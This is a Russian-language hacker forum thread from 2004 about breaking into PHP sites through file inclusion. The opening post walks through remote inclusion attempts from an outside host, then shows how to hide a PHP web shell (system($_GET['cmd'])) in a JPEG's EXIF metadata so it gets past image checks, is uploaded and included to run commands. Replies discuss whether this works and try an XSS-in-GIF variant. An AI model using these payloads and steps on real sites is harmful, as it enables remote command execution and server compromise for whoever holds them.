Если вам приходилось сталкиваться с сайтами подобной структуры: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=xxx/zzz.php[/QUOTE]<span id='postcolor'> Конечно, вы сначала попытаетесь вызвать ошибку в скрипте или сразу попробовать подключить свой файл: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=blablabla index.php?page=http://hacker.narod.ru/xxx/zzz.php[/QUOTE]<span id='postcolor'> В ответ вы получаете обидный отказ =) Скорее всего там используется проверка функцией file_exists или is_file. Но вдруг вам крупно везет и вы обнаруживаете форум, чат, гостевую, галерею или еще бог знает, что позволяющее нам загрузить на сервер картинку в формате jpg или gif. Вы создаете файл php_injection.gif </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><pre><h4><?php system($_GET['cmd']); ?></h4></pre>[/QUOTE]<span id='postcolor'> Упрямый скрипт снова посылает вас, на этот раз ему помогла распознать подвох функция getimagesize. Короче (я честно говоря этого не знал) с помощью ACDSee или подобных программ, для работы с графикой, в графический файл формата jpg можно запихнуть дополнительную информацию (так называемую EXIF Metadata). При этом вводимая нами информация помещается в изображение в открытом виде, не нарушая структуры самого изображения. ACDSee -> php_injection.jpg -> Properties -> EXIF Metadata -> Image description = "<pre><h4><?php system($_GET['cmd']); ?></h4></pre>"; </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">... Exif II* 3 & i‡ Y <pre><h4><?php system($_GET['cmd']); ?></h4></pre> †’ k ...[/QUOTE]<span id='postcolor'> Это часть бинарного файла изображения. Как ни странно теперь скрипт согласился загрузить картинку на сервер и мы ее успешно встраиваем. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=photos/imagename.jpg[/QUOTE]<span id='postcolor'> Если вдруг это полный бред и никому не интересен – вы уж простите меня.
Очень даже интересно...Не поверишь, как раз сегодня занимался именно такими вещами..правда до ACDSee я не додумался.. пытался ручакми ... PS А ты уверен, что вызванный таким образом картинка-скрипт будет работать ?
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июля 23 2004,00:10)</td></tr><tr><td id="QUOTE">и через include[/QUOTE]<span id='postcolor'> Гы, так понятно что через include оно будет работать ... Но ты же говорил про вызов типа index.php?page=blablabla А ведь это не означает, что там используется include
У меня вопрос: мона ручками картинку подредактировать ? Если я пхп-код вставлю в самый конец после заголовка и "исходного кода" картинки ... Это будет работать ? З.Ы. Попробуйте это проделать, глюки такие пойдут ...
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июля 23 2004,10:17)</td></tr><tr><td id="QUOTE">ну если там не include тогда будем довольствоваться возможностью xss [/QUOTE]<span id='postcolor'> Так и xss в таком случае не катит. Ситуация с браузером такая: Если мы создаем картинку с расширением gif и пихаем туда HTML текст <script>alret()</script> то при открытии "картинки" джаваскрипт срабатывает (по кр мере MSIE). НО если заголовок файла начинается с GIF89 то браузер распознает этот файл как картинку, и скрипт не срабатывает ...
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ июля 23 2004,10:18)</td></tr><tr><td id="QUOTE">У меня вопрос: мона ручками картинку подредактировать ? Это будет работать ?[/QUOTE]<span id='postcolor'> Подредактировать можно (только после заголовка картинки) А работать не будет ))